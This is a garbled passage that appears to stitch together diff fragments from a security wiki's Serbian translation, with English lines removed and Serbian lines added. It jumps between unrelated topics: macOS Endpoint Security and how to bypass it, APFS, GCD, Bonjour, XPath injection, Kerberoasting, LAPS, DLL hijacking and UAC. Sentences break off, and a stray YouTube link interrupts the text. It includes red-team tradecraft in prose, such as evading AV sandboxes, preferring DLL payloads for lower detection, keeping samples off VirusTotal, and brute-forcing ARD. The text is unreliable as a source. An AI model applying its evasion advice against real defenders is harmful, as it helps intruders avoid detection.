pojedinačnih paketa. +- **Filter Data**: Ovo se koristi za filtriranje mrežnih "tokova". Može pratiti ili modifikovati mrežne podatke na nivou toka. +- **Filter Packet**: Ovo se koristi za filtriranje pojedinačnih mrežnih paketa. Može pratiti ili modifikovati mrežne podatke na nivou paketa. +- **DNS Proxy**: Ovo se koristi za kreiranje prilagođenog DNS provajdera. Može se koristiti za praćenje ili modifikovanje DNS zahteva i odgovora. ## Endpoint Security Framework -Endpoint Security is a framework provided by Apple in macOS that provides a set of APIs for system security. It's intended for use by **security vendors and developers to build products that can monitor and control system activity** to identify and protect against malicious activity. +Endpoint Security je okvir koji pruža Apple u macOS-u i koji obezbeđuje skup API-ja za bezbednost sistema. Namenjen je za korišćenje od strane **bezbednosnih provajdera i developera za izradu proizvoda koji mogu pratiti i kontrolisati aktivnost sistema** kako bi identifikovali i zaštitili se od zlonamernih aktivnosti. -This framework provides a **collection of APIs to monitor and control system activity**, such as process executions, file system events, network and kernel events. +Ovaj okvir pruža **kolekciju API-ja za praćenje i kontrolu aktivnosti sistema**, kao što su izvršenja procesa, događaji u datotečnom sistemu, mrežni i kernel događaji. -The core of this framework is implemented in the kernel, as a Kernel Extension (KEXT) located at **`/System/Library/Extensions/EndpointSecurity.kext`**. This KEXT is made up of several key components: +Osnova ovog okvira je implementirana u kernelu, kao Kernel Extension (KEXT) lociran u **`/System/Library/Extensions/EndpointSecurity.kext`**. Ovaj KEXT se sastoji od nekoliko ključnih komponenti: -- **EndpointSecurityDriver**: This acts as the "entry point" for the kernel extension. It's the main point of interaction between the OS and the Endpoint Security framework. -- **EndpointSecurityEventManager**: This component is responsible for implementing kernel hooks. Kernel hooks allow the framework to monitor system events by intercepting system calls. -- **EndpointSecurityClientManager**: This manages the communication with user space clients, keeping track of which clients are connected and need to receive event notifications. -- **EndpointSecurityMessageManager**: This sends messages and event notifications to user space clients. +- **EndpointSecurityDriver**: Ovo deluje kao "ulazna tačka" za kernel ekstenziju. To je glavno mesto interakcije između OS-a i Endpoint Security okvira. +- **EndpointSecurityEventManager**: Ova komponenta je odgovorna za implementaciju kernel hook-ova. Kernel hook-ovi omogućavaju okviru da prati događaje sistema presretanjem sistemskih poziva. +- **EndpointSecurityClientManager**: Ovo upravlja komunikacijom sa klijentima u korisničkom prostoru, prateći koji klijenti su povezani i treba da prime obaveštenja o događajima. +- **EndpointSecurityMessageManager**: Ovo šalje poruke i obaveštenja o događajima klijentima u korisničkom prostoru. -The events that the Endpoint Security framework can monitor are categorized into: +Događaji koje Endpoint Security okvir može pratiti su kategorizovani u: -- File events -- Process events -- Socket events -- Kernel events (such as loading/unloading a kernel extension or opening an I/O Kit device) +- Događaji datoteka +- Događaji procesa +- Događaji soketa +- Kernel događaji (kao što su učitavanje/uklanjanje kernel ekstenzije ili otvaranje I/O Kit uređaja) ### Endpoint Security Framework Architecture
https://www.youtube.com/watch?v=jaVkpM1UqOs
-**User-space communication** with the Endpoint Security framework happens through the IOUserClient class. Two different subclasses are used, depending on the type of caller: +**Komunikacija u korisničkom prostoru** sa Endpoint Security okvirom se dešava kroz IOUserClient klasu. Koriste se dve različite podklase, u zavisnosti od tipa pozivaoca: -- **EndpointSecurityDriverClient**: This requires the `com.apple.private.endpoint-security.manager` entitlement, which is only held by the system process `endpointsecurityd`. -- **EndpointSecurityExternalClient**: This requires the `com.apple.developer.endpoint-security.client` entitlement. This would typically be used by third-party security software that needs to interact with the Endpoint Security framework. +- **EndpointSecurityDriverClient**: Ovo zahteva `com.apple.private.endpoint-security.manager` pravo, koje drži samo sistemski proces `endpointsecurityd`. +- **EndpointSecurityExternalClient**: Ovo zahteva `com.apple.developer.endpoint-security.client` pravo. Ovo bi obično koristili softveri trećih strana za bezbednost koji treba da komuniciraju sa Endpoint Security okvirom. -The Endpoint Security Extensions:**`libEndpointSecurity.dylib`** is the C library that system extensions use to communicate with the kernel. This library uses the I/O Kit (`IOKit`) to communicate with the Endpoint Security KEXT. +Endpoint Security Extensions:**`libEndpointSecurity.dylib`** je C biblioteka koju sistemske ekstenzije koriste za komunikaciju sa kernelom. Ova biblioteka koristi I/O Kit (`IOKit`) za komunikaciju sa Endpoint Security KEXT-om. -**`endpointsecurityd`** is a key system daemon involved in managing and launching endpoint security system extensions, particularly during the early boot process. **Only system extensions** marked with **`NSEndpointSecurityEarlyBoot`** in their `Info.plist` file receive this early boot treatment. +**`endpointsecurityd`** je ključni sistemski demon uključen u upravljanje i pokretanje sistemskih ekstenzija za bezbednost krajnjih tačaka, posebno tokom ranog procesa pokretanja. **Samo sistemske ekstenzije** označene sa **`NSEndpointSecurityEarlyBoot`** u njihovom `Info.plist` fajlu dobijaju ovu ranu obradu pokretanja. -Another system daemon, **`sysextd`**, **validates system extensions** and moves them into the proper system locations. It then asks the relevant daemon to load the extension. The **`SystemExtensions.framework`** is responsible for activating and deactivating system extensions. +Drugi sistemski demon, **`sysextd`**, **validira sistemske ekstenzije** i premesta ih na odgovarajuće sistemske lokacije. Zatim traži od relevantnog demona da učita ekstenziju. **`SystemExtensions.framework`** je odgovoran za aktiviranje i deaktiviranje sistemskih ekstenzija. ## Bypassing ESF -ESF is used by security tools that will try to detect a red teamer, so any information about how this could be avoided sounds interesting. +ESF se koristi od strane bezbednosnih alata koji će pokušati da otkriju red tim, tako da svaka informacija o tome kako se to može izbeći zvuči zanimljivo. ### CVE-2021-30965 -The thing is that the security application needs to have **Full Disk Access permissions**. So if an attacker could remove that, he could prevent the software from running: - +Stvar je u tome da aplikacija za bezbednost mora imati **dozvole za pun pristup disku**.

This enables more efficient space utilization as the volumes can dynamically grow and shrink without the need for manual resizing or repartitioning. - 1. This means, compared with traditional partitions in file disks, **that in APFS different partitions (volumes) shares all the disk space**, while a regular partition usually had a fixed size. -2. **Snapshots**: APFS supports **creating snapshots**, which are **read-only**, point-in-time instances of the file system. Snapshots enable efficient backups and easy system rollbacks, as they consume minimal additional storage and can be quickly created or reverted. -3. **Clones**: APFS can **create file or directory clones that share the same storage** as the original until either the clone or the original file is modified. This feature provides an efficient way to create copies of files or directories without duplicating the storage space. -4. **Encryption**: APFS **natively supports full-disk encryption** as well as per-file and per-directory encryption, enhancing data security across different use cases. -5. **Crash Protection**: APFS uses a **copy-on-write metadata scheme that ensures file system consistency** even in cases of sudden power loss or system crashes, reducing the risk of data corruption. - -Overall, APFS offers a more modern, flexible, and efficient file system for Apple devices, with a focus on improved performance, reliability, and security. +1. **Deljenje prostora**: APFS omogućava više volumena da **dele isti osnovni slobodni prostor** na jednom fizičkom uređaju. Ovo omogućava efikasnije korišćenje prostora jer volumeni mogu dinamički rasti i opadati bez potrebe za ručnim promenama veličine ili reparticionisanjem. +1.

It's a technology developed by Apple to optimize application support for concurrent (multithreaded) execution on multicore hardware. +**Grand Central Dispatch (GCD),** poznat i kao **libdispatch** (`libdispatch.dyld`), dostupan je i na macOS-u i na iOS-u. To je tehnologija koju je razvila Apple kako bi optimizovala podršku aplikacijama za konkurentno (multithreaded) izvršavanje na višekore hardveru. -**GCD** provides and manages **FIFO queues** to which your application can **submit tasks** in the form of **block objects**. Blocks submitted to dispatch queues are **executed on a pool of threads** fully managed by the system. GCD automatically creates threads for executing the tasks in the dispatch queues and schedules those tasks to run on the available cores. +**GCD** pruža i upravlja **FIFO redovima** u koje vaša aplikacija može **slati zadatke** u obliku **blok objekata**. Blokovi poslati u redove za raspodelu se **izvršavaju na skupu niti** koje u potpunosti upravlja sistem. GCD automatski kreira niti za izvršavanje zadataka u redovima za raspodelu i zakazuje te zadatke da se izvrše na dostupnim jezgrama. > [!TIP] -> In summary, to execute code in **parallel**, processes can send **blocks of code to GCD**, which will take care of their execution. Therefore, processes don't create new threads; **GCD executes the given code with its own pool of threads** (which might increase or decrease as necessary). +> Ukratko, da bi se izvršio kod u **paraleli**, procesi mogu slati **blokove koda GCD-u**, koji će se pobrinuti za njihovo izvršavanje. Stoga, procesi ne kreiraju nove niti; **GCD izvršava dati kod sa svojim sopstvenim skupom niti** (koji se može povećavati ili smanjivati po potrebi). -This is very helpful to manage parallel execution successfully, greatly reducing the number of threads processes create and optimising the parallel execution. This is ideal for tasks that require **great parallelism** (brute-forcing?) or for tasks that shouldn't block the main thread: For example, the main thread on iOS handles UI interactions, so any other functionality that could make the app hang (searching, accessing a web, reading a file...) is managed this way. +Ovo je veoma korisno za uspešno upravljanje paralelnim izvršavanjem, značajno smanjujući broj niti koje procesi kreiraju i optimizujući paralelno izvršavanje. Ovo je idealno za zadatke koji zahtevaju **veliki paralelizam** (brute-forcing?) ili za zadatke koji ne bi trebali blokirati glavnu nit: Na primer, glavna nit na iOS-u upravlja UI interakcijama, tako da se svaka druga funkcionalnost koja bi mogla da uzrokuje zamrzavanje aplikacije (pretraga, pristup vebu, čitanje datoteke...) upravlja na ovaj način. -### Blocks +### Blokovi -A block is a **self contained section of code** (like a function with arguments returning a value) and can also specify bound variables.\ -However, at compiler level blocks doesn't exist, they are `os_object`s. Each of these objects is formed by two structures: +Blok je **samostalna sekcija koda** (poput funkcije sa argumentima koja vraća vrednost) i može takođe specificirati vezane promenljive.\ +Međutim, na nivou kompajlera blokovi ne postoje, oni su `os_object`s. Svaki od ovih objekata se sastoji od dve strukture: -- **block literal**: - - It starts by the **`isa`** field, pointing to the block's class: - - `NSConcreteGlobalBlock` (blocks from `__DATA.__const`) - - `NSConcreteMallocBlock` (blocks in the heap) - - `NSConcreateStackBlock` (blocks in stack) - - It has **`flags`** (indicating fields present in the block descriptor) and some reserved bytes - - The function pointer to call - - A pointer to the block descriptor - - Block imported variables (if any) -- **block descriptor**: It's size depends on the data that is present (as indicated in the previous flags) - - It has some reserved bytes - - The size of it - - It'll usually have a pointer to an Objective-C style signature to know how much space is needed for the params (flag `BLOCK_HAS_SIGNATURE`) - - If variables are referenced, this block will also have pointers to a copy helper (copying the value at the begining) and dispose helper (freeing it). +- **blok literal**: +- Počinje sa **`isa`** poljem, koje pokazuje na klasu bloka: +- `NSConcreteGlobalBlock` (blokovi iz `__DATA.__const`) +- `NSConcreteMallocBlock` (blokovi u heap-u) +- `NSConcreateStackBlock` (blokovi u steku) +- Ima **`flags`** (koji označavaju polja prisutna u opisu bloka) i neka rezervisana bajta +- Pokazivač na funkciju koja se poziva +- Pokazivač na opis bloka +- Uvezene promenljive bloka (ako ih ima) +- **opis bloka**: Njegova veličina zavisi od podataka koji su prisutni (kako je naznačeno u prethodnim flagovima) +- Ima neka rezervisana bajta +- Njegova veličina +- Obično će imati pokazivač na Objective-C stil potpis kako bi znao koliko prostora je potrebno za parametre (flag `BLOCK_HAS_SIGNATURE`) +- Ako su promenljive referencirane, ovaj blok će takođe imati pokazivače na pomoćnika za kopiranje (kopiranje vrednosti na početku) i pomoćnika za oslobađanje (oslobađanje). -### Queues +### Redovi -A dispatch queue is a named object providing FIFO ordering of blocks for executions. +Red za raspodelu je imenovani objekat koji pruža FIFO redosled blokova za izvršavanje. -Blocks a set in queues to be executed, and these support 2 modes: `DISPATCH_QUEUE_SERIAL` and `DISPATCH_QUEUE_CONCURRENT`.

But **the other type of queue might have it**. +Blokovi se postavljaju u redove za izvršavanje, a ovi podržavaju 2 moda: `DISPATCH_QUEUE_SERIAL` i `DISPATCH_QUEUE_CONCURRENT`.

Značajna ranjivost u ARD-u je njegova metoda autentifikacije za lozinku kontrolne ekrana, koja koristi samo prvih 8 karaktera lozinke, što je čini podložnom [brute force napadima](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) sa alatima kao što su Hydra ili [GoRedShell](https://github.com/ahhh/GoRedShell/), jer ne postoje podrazumevani ograničenja brzine. -Vulnerable instances can be identified using **nmap**'s `vnc-info` script.

Omogućava slanje Unix komandi direktno, izvršavajući ih kao root za administrativne korisnike. Planiranje zadataka i daljinsko Spotlight pretraživanje su značajne karakteristike, olakšavajući daljinsko, niskoprofilno pretraživanje osetljivih fajlova na više mašina. -ARD provides versatile control levels, including observation, shared control, and full control, with sessions persisting even after user password changes. It allows sending Unix commands directly, executing them as root for administrative users. Task scheduling and Remote Spotlight search are notable features, facilitating remote, low-impact searches for sensitive files across multiple machines. +## Bonjour Protokol -## Bonjour Protocol +Bonjour, tehnologija koju je dizajnirao Apple, omogućava **uređajima na istoj mreži da otkriju usluge koje nude jedni drugima**. Poznat i kao Rendezvous, **Zero Configuration**, ili Zeroconf, omogućava uređaju da se pridruži TCP/IP mreži, **automatski odabere IP adresu**, i emitira svoje usluge drugim mrežnim uređajima. -Bonjour, an Apple-designed technology, allows **devices on the same network to detect each other's offered services**. Known also as Rendezvous, **Zero Configuration**, or Zeroconf, it enables a device to join a TCP/IP network, **automatically choose an IP address**, and broadcast its services to other network devices. +Zero Configuration Networking, koji pruža Bonjour, osigurava da uređaji mogu: -Zero Configuration Networking, provided by Bonjour, ensures that devices can: +- **Automatski dobiti IP adresu** čak i u odsustvu DHCP servera. +- Izvršiti **prevod imena u adresu** bez potrebe za DNS serverom. +- **Otkrivati usluge** dostupne na mreži. -- **Automatically obtain an IP Address** even in the absence of a DHCP server. -- Perform **name-to-address translation** without requiring a DNS server. -- **Discover services** available on the network. +Uređaji koji koriste Bonjour dodeljuju sebi **IP adresu iz opsega 169.254/16** i proveravaju njenu jedinstvenost na mreži. Mac računari održavaju unos u tabeli rutiranja za ovu podmrežu, koji se može proveriti putem `netstat -rn | grep 169`. -Devices using Bonjour will assign themselves an **IP address from the 169.254/16 range** and verify its uniqueness on the network. Macs maintain a routing table entry for this subnet, verifiable via `netstat -rn | grep 169`. +Za DNS, Bonjour koristi **Multicast DNS (mDNS) protokol**. mDNS funkcioniše preko **porta 5353/UDP**, koristeći **standardne DNS upite** ali cilja **multicast adresu 224.0.0.251**. Ovaj pristup osigurava da svi uređaji koji slušaju na mreži mogu primati i odgovarati na upite, olakšavajući ažuriranje njihovih zapisa. -For DNS, Bonjour utilizes the **Multicast DNS (mDNS) protocol**. mDNS operates over **port 5353/UDP**, employing **standard DNS queries** but targeting the **multicast address 224.0.0.251**. This approach ensures that all listening devices on the network can receive and respond to the queries, facilitating the update of their records. +Prilikom pridruživanja mreži, svaki uređaj samostalno bira ime, obično završavajući sa **.local**, koje može biti izvedeno iz imena hosta ili nasumično generisano. -Upon joining the network, each device self-selects a name, typically ending in **.local**, which may be derived from the hostname or randomly generated. +Otkrivanje usluga unutar mreže olakšava **DNS Service Discovery (DNS-SD)**. Koristeći format DNS SRV zapisa, DNS-SD koristi **DNS PTR zapise** za omogućavanje liste više usluga. Klijent koji traži određenu uslugu će zatražiti PTR zapis za `.`, primajući zauzvrat listu PTR zapisa formatiranih kao `..` ako je usluga dostupna sa više hostova. -Service discovery within the network is facilitated by **DNS Service Discovery (DNS-SD)**. Leveraging the format of DNS SRV records, DNS-SD uses **DNS PTR records** to enable the listing of multiple services. A client seeking a specific service will request a PTR record for `.`, receiving in return a list of PTR records formatted as `..` if the service is available from multiple hosts. +Alat `dns-sd` može se koristiti za **otkrivanje i oglašavanje mrežnih usluga**. Evo nekoliko primera njegove upotrebe: -The `dns-sd` utility can be employed for **discovering and advertising network services**. Here are some examples of its usage: - -### Searching for SSH Services - -To search for SSH services on the network, the following command is used: +### Pretraživanje SSH Usluga +Za pretraživanje SSH usluga na mreži koristi se sledeća komanda: ```bash dns-sd -B _ssh._tcp ``` +Ova komanda pokreće pretragu za \_ssh.\_tcp servisima i prikazuje detalje kao što su vremenska oznaka, zastavice, interfejs, domen, tip servisa i ime instance. -This command initiates browsing for \_ssh.\_tcp services and outputs details such as timestamp, flags, interface, domain, service type, and instance name. - -### Advertising an HTTP Service - -To advertise an HTTP service, you can use: +### Oglašavanje HTTP Servisa +Da biste oglasili HTTP servis, možete koristiti: ```bash dns-sd -R "Index" _http._tcp . 80 path=/index.html ``` +Ova komanda registruje HTTP servis pod imenom "Index" na portu 80 sa putanjom `/index.html`. -This command registers an HTTP service named "Index" on port 80 with a path of `/index.html`. - -To then search for HTTP services on the network: - +Da biste zatim pretražili HTTP servise na mreži: ```bash dns-sd -B _http._tcp ``` +Kada usluga počne, ona najavljuje svoju dostupnost svim uređajima na podmreži putem multicastinga. Uređaji zainteresovani za ove usluge ne moraju slati zahteve, već jednostavno slušaju ove najave. -When a service starts, it announces its availability to all devices on the subnet by multicasting its presence. Devices interested in these services don't need to send requests but simply listen for these announcements. - -For a more user-friendly interface, the **Discovery - DNS-SD Browser** app available on the Apple App Store can visualize the services offered on your local network. - -Alternatively, custom scripts can be written to browse and discover services using the `python-zeroconf` library. The [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) script demonstrates creating a service browser for `_http._tcp.local.` services, printing added or removed services: +Za korisnički prijatniji interfejs, aplikacija **Discovery - DNS-SD Browser** dostupna na Apple App Store-u može vizualizovati usluge koje se nude na vašoj lokalnoj mreži. +Alternativno, mogu se napisati prilagođeni skripti za pretraživanje i otkrivanje usluga koristeći biblioteku `python-zeroconf`.

-## Basic Syntax
+## Osnovna sintaksa
 
 Tehnika napada poznata kao XPath Injection se koristi za iskorišćavanje aplikacija koje formiraju XPath (XML Path Language) upite na osnovu korisničkog unosa za upit ili navigaciju XML dokumentima.
 
-### Nodes Described
+### Opis čvorova
 
 Izrazi se koriste za odabir različitih čvorova u XML dokumentu. Ovi izrazi i njihovi opisi su sažeti u nastavku:
 
-- **nodename**: Svi čvorovi sa imenom "nodename" su odabrani.
+- **nodename**: Svi čvorovi sa imenom "nodename" se biraju.
 - **/**: Odabir se vrši iz korenskog čvora.
-- **//**: Čvorovi koji odgovaraju odabiru iz trenutnog čvora su odabrani, bez obzira na njihovu lokaciju u dokumentu.
-- **.**: Odabran je trenutni čvor.
-- **..**: Odabran je roditelj trenutnog čvora.
-- **@**: Odabrani su atributi.
+- **//**: Čvorovi koji odgovaraju odabiru iz trenutnog čvora se biraju, bez obzira na njihovu lokaciju u dokumentu.
+- **.**: Odabire se trenutni čvor.
+- **..**: Odabire se roditelj trenutnog čvora.
+- **@**: Odabiru se atributi.

-- **//title\[@lang]**: Svi title elementi sa lang atributom su odabrani.
-- **//title\[@lang='en']**: Svi title elementi sa vrednošću atributa "lang" koja je "en" su odabrani.
-- **/bookstore/book\[price>35.00]**: Svi book elementi bookstore sa cenom većom od 35.00 su odabrani.
-- **/bookstore/book\[price>35.00]/title**: Svi title elementi book elemenata bookstore sa cenom većom od 35.00 su odabrani.
+- **/bookstore/book\[1]**: Prvi book element kao dete elementa bookstore se bira. Rešenje za IE verzije 5 do 9, koje indeksiraju prvi čvor kao \[0], je postavljanje SelectionLanguage na XPath putem JavaScript-a.

+### Metodi Uključivanja
 
-- **HTML elementi**: HTML nudi različite elemente za **uključivanje resursa sa različitih izvora**, kao što su stilovi, slike ili skripte, primoravajući pregledač da zatraži ne-HTML resurs. Kompilacija potencijalnih HTML elemenata za ovu svrhu može se naći na [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
-- **Okviri**: Elementi kao što su **iframe**, **object** i **embed** mogu direktno ugraditi HTML resurse u napadačevu stranicu. Ako stranica **nema zaštitu od uokvirivanja**, JavaScript može pristupiti objektu prozora u okviru putem svojstva contentWindow.
-- **Iskočne prozore**: Metod **`window.open`** otvara resurs u novoj kartici ili prozoru, pružajući **handle prozora** za JavaScript da komunicira sa metodama i svojstvima prema SOP-u. Iskočni prozori, često korišćeni u jedinstvenom prijavljivanju, zaobilaze ograničenja uokvirivanja i kolačića ciljanog resursa. Međutim, moderni pregledači ograničavaju kreiranje iskočnih prozora na određene korisničke akcije.
-- **JavaScript zahtevi**: JavaScript omogućava direktne zahteve ka ciljnim resursima koristeći **XMLHttpRequests** ili **Fetch API**. Ove metode nude preciznu kontrolu nad zahtevom, kao što je opcija da se prati HTTP preusmeravanje.

+- **Globalna Ograničenja**: Fizička ograničenja pregledača, kao što su kapacitet memorije ili druga nametnuta ograničenja pregledača, mogu signalizirati kada je dostignut prag, služeći kao tehnika curenja.
+- **Globalno Stanje**: Uočljive interakcije sa **globalnim stanjima** pregledača (npr., interfejs Istorije) mogu se iskoristiti. Na primer, **broj unosa** u istoriji pregledača može pružiti tragove o stranicama sa različitih domena.
 - **Performanse API**: Ovaj API pruža **detalje o performansama trenutne stranice**, uključujući mrežno vreme za dokument i učitane resurse, omogućavajući zaključke o traženim resursima.
-- **Čitljiva svojstva**: Neka HTML svojstva su **čitljiva sa različitih izvora** i mogu se koristiti kao tehnika curenja. Na primer, svojstvo `window.frame.length` omogućava JavaScript-u da prebroji okvire uključene u veb stranicu sa različitih izvora.

Razlikuje se od HTML-a po tome što nije ograničen na skup unapred definisanih oznaka. Značaj XML-a je opao sa porastom JSON-a, uprkos njegovoj početnoj ulozi u AJAX tehnologiji.

-- **Definisanje XML elemenata**: XML omogućava definisanje tipova elemenata, naglašavajući kako bi elementi trebali biti strukturirani i koji sadržaj mogu sadržati, od bilo koje vrste sadržaja do specifičnih podelemenata.

Ovi entiteti omogućavaju tehnike detekcije van opsega, kao što su pokretanje DNS upita ili HTTP zahteva ka kontrolisanoj domeni, kako bi se potvrdila ranjivost.

-Imanje **`ManageCA`** prava na certifikacionoj vlasti omogućava glavnom korisniku da manipuliše podešavanjima na daljinu koristeći PSPKI. Ovo uključuje prebacivanje **`EDITF_ATTRIBUTESUBJECTALTNAME2`** oznake kako bi se omogućila SAN specifikacija u bilo kojem šablonu, što je kritičan aspekt eskalacije domena.

 Pojednostavljenje ovog procesa je ostvarivo korišćenjem PSPKI-ove **Enable-PolicyModuleFlag** cmdlet, što omogućava izmene bez direktne interakcije sa GUI-jem.

 ## Kerberoast
 
-Kerberoasting se fokusira na sticanje **TGS karata**, posebno onih povezanih sa uslugama koje rade pod **korisničkim nalozima** u **Active Directory (AD)**, isključujući **računare**. Enkripcija ovih karata koristi ključeve koji potiču od **korisničkih lozinki**, što omogućava mogućnost **offline krakenja kredencijala**. Korišćenje korisničkog naloga kao usluge označeno je ne-praznom **"ServicePrincipalName"** svojstvom.

 ## Osnovne informacije
 
 Local Administrator Password Solution (LAPS) je alat koji se koristi za upravljanje sistemom gde se **lozinke administratora**, koje su **jedinstvene, nasumične i često menjane**, primenjuju na računarima pridruženim domenu. Ove lozinke se sigurno čuvaju unutar Active Directory i dostupne su samo korisnicima kojima je odobrena dozvola putem Access Control Lists (ACLs). Bezbednost prenosa lozinki od klijenta do servera obezbeđena je korišćenjem **Kerberos verzije 5** i **Advanced Encryption Standard (AES)**.
 
-U objektima računara domena, implementacija LAPS rezultira dodavanjem dva nova atributa: **`ms-mcs-AdmPwd`** i **`ms-mcs-AdmPwdExpirationTime`**. Ovi atributi čuvaju **lozinku administratora u običnom tekstu** i **njeno vreme isteka**, redom.

Ovaj deo može biti malo teži za rad, ali evo nekoliko stvari koje možete učiniti da izbegnete sandbox-e.
 
-- **Spavanje pre izvršenja** U zavisnosti od toga kako je implementirano, to može biti odličan način za zaobilaženje dinamičke analize AV-a. AV-ovi imaju vrlo kratak vremenski period za skeniranje datoteka kako ne bi ometali rad korisnika, pa korišćenje dugih perioda spavanja može ometati analizu binarnih fajlova. Problem je u tome što mnogi AV-ovi sandbox-i mogu jednostavno preskočiti spavanje u zavisnosti od toga kako je implementirano.
-- **Proveravanje resursa mašine** Obično sandbox-i imaju vrlo malo resursa za rad (npr. < 2GB RAM), inače bi mogli usporiti korisničku mašinu. Takođe možete biti veoma kreativni ovde, na primer, proveravajući temperaturu CPU-a ili čak brzine ventilatora, ne mora sve biti implementirano u sandbox-u.
-- **Provere specifične za mašinu** Ako želite da ciljate korisnika čija je radna stanica pridružena "contoso.local" domenu, možete izvršiti proveru na domen mašine da vidite da li se poklapa sa onim što ste naveli, ako se ne poklapa, možete naterati svoj program da izađe.

+Kao što smo rekli ranije u ovom postu, **javni alati** će na kraju **biti otkriveni**, tako da biste trebali postaviti sebi pitanje:
+
+Na primer, ako želite da dump-ujete LSASS, **da li zaista treba da koristite mimikatz**? Ili biste mogli koristiti neki drugi projekat koji je manje poznat i takođe dump-uje LSASS.
+
+Pravi odgovor je verovatno potonji. Uzimajući mimikatz kao primer, verovatno je jedan od, ako ne i najviše označenih komada malvera od strane AV-a i EDR-a, dok je projekat sam po sebi super cool, takođe je noćna mora raditi s njim da biste zaobišli AV-e, tako da jednostavno potražite alternative za ono što pokušavate da postignete.
+
+> [!NOTE]
+> Kada modifikujete svoje payload-e za evaziju, obavezno **isključite automatsko slanje uzoraka** u defender-u, i molim vas, ozbiljno, **NE ULAŽITE NA VIRUSTOTAL** ako je vaš cilj postizanje evazije na duge staze. Ako želite da proverite da li vaš payload biva otkriven od strane određenog AV-a, instalirajte ga na VM, pokušajte da isključite automatsko slanje uzoraka, i testirajte ga tamo dok ne budete zadovoljni rezultatom.
+
+## EXE vs DLL
+
+Kad god je to moguće, uvek **prioritizujte korišćenje DLL-ova za evaziju**, prema mom iskustvu, DLL datoteke su obično **mnogo manje detektovane** i analizirane, tako da je to veoma jednostavan trik za korišćenje kako biste izbegli detekciju u nekim slučajevima (ako vaš payload ima neki način da se pokrene kao DLL naravno).
+
+Kao što možemo videti na ovoj slici, DLL payload iz Havoc-a ima stopu detekcije od 4/26 na antiscan.me, dok EXE payload ima stopu detekcije od 7/26.

Postavljanjem pravila na pravi način, možemo osigurati da marketinška ekipa bude izričito odbijena pristup pre nego što se dozvoli svima ostalima. To se postiže postavljanjem pravila za odbijanje pristupa marketinškoj ekipi pre pravila koje dozvoljava pristup svima.
 
 #### Dozvoljavanje Pristupa Specifičnom Članu Odbijene Grupe
 
-Recimo da Bob, direktor marketinga, treba pristup folderu Troškovi, iako marketinški tim generalno ne bi trebao imati pristup. Možemo dodati specifično pravilo (ACE) za Boba koje mu odobrava pristup, i postaviti ga pre pravila koje odbija pristup marketinškom timu. Na taj način, Bob dobija pristup uprkos opštem ograničenju na njegov tim.

 #### Razumevanje Unosa Kontrole Pristupa
 
 ACE su pojedinačna pravila u ACL. Ona identifikuju korisnike ili grupe, specificiraju koji pristup je dozvoljen ili odbijen, i određuju kako se ova pravila primenjuju na podstavke (nasleđivanje). Postoje dve glavne vrste ACE:
 
-- **Generički ACE:** Ovi se primenjuju široko, utičući ili na sve tipove objekata ili razlikujući samo između kontejnera (poput foldera) i nekontejnera (poput datoteka). Na primer, pravilo koje dozvoljava korisnicima da vide sadržaj foldera, ali ne i da pristupe datotekama unutar njega.
+- **Generički ACE:** Ovi se primenjuju široko, utičući ili na sve tipove objekata ili razlikujući samo između kontejnera (kao što su folderi) i nekontejnera (kao što su datoteke). Na primer, pravilo koje dozvoljava korisnicima da vide sadržaj foldera, ali ne i da pristupe datotekama unutar njega.
 - **Specifični ACE:** Ovi pružaju precizniju kontrolu, omogućavajući postavljanje pravila za specifične tipove objekata ili čak pojedinačne osobine unutar objekta. Na primer, u direktorijumu korisnika, pravilo može dozvoliti korisniku da ažurira svoj broj telefona, ali ne i svoje radno vreme.
 
-Svaki ACE sadrži važne informacije kao što su ko se pravilo primenjuje (koristeći Identifikator Sigurnosti ili SID), šta pravilo dozvoljava ili odbija (koristeći pristupnu masku), i kako se nasleđuje od drugih objekata.

 #### Ključne Razlike između Tipova ACE
 
 - **Generički ACE** su pogodna za jednostavne scenarije kontrole pristupa, gde se isto pravilo primenjuje na sve aspekte objekta ili na sve objekte unutar kontejnera.
-- **Specifični ACE** se koriste za složenije scenarije, posebno u okruženjima kao što je Active Directory, gde možda treba kontrolisati pristup specifičnim osobinama objekta na različite načine.

 ## Basic Information
 
-DLL Hijacking uključuje manipulaciju poverljivom aplikacijom da učita zloćudni DLL. Ovaj termin obuhvata nekoliko taktika kao što su **DLL Spoofing, Injection, i Side-Loading**. Uglavnom se koristi za izvršavanje koda, postizanje postojanosti, i, ređe, eskalaciju privilegija. Iako je fokus ovde na eskalaciji, metoda otmice ostaje dosledna kroz ciljeve.

 ### Common Techniques
 
 Nekoliko metoda se koristi za DLL hijacking, svaka sa svojom efikasnošću u zavisnosti od strategije učitavanja DLL-a aplikacije:
 
-1. **DLL Replacement**: Zamena pravog DLL-a sa zloćudnim, opcionalno koristeći DLL Proxying da očuva funkcionalnost originalnog DLL-a.
-2. **DLL Search Order Hijacking**: Postavljanje zloćudnog DLL-a u pretragu ispred legitimnog, iskorišćavajući obrazac pretrage aplikacije.
-3. **Phantom DLL Hijacking**: Kreiranje zloćudnog DLL-a za aplikaciju da učita, misleći da je to nepostojeći potrebni DLL.
-4. **DLL Redirection**: Modifikovanje pretraživačkih parametara kao što su `%PATH%` ili `.exe.manifest` / `.exe.local` datoteke da usmere aplikaciju na zloćudni DLL.
-5. **WinSxS DLL Replacement**: Zamena legitimnog DLL-a sa zloćudnim u WinSxS direktorijumu, metoda koja se često povezuje sa DLL side-loading.
-6. **Relative Path DLL Hijacking**: Postavljanje zloćudnog DLL-a u direktorijum pod kontrolom korisnika sa kopiranom aplikacijom, podsećajući na tehnike Binary Proxy Execution.

Različite postavke su detaljno objašnjene [ovde](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Postoji 10 postavki grupne politike koje se mogu postaviti za UAC. Sledeća tabela pruža dodatne detalje:
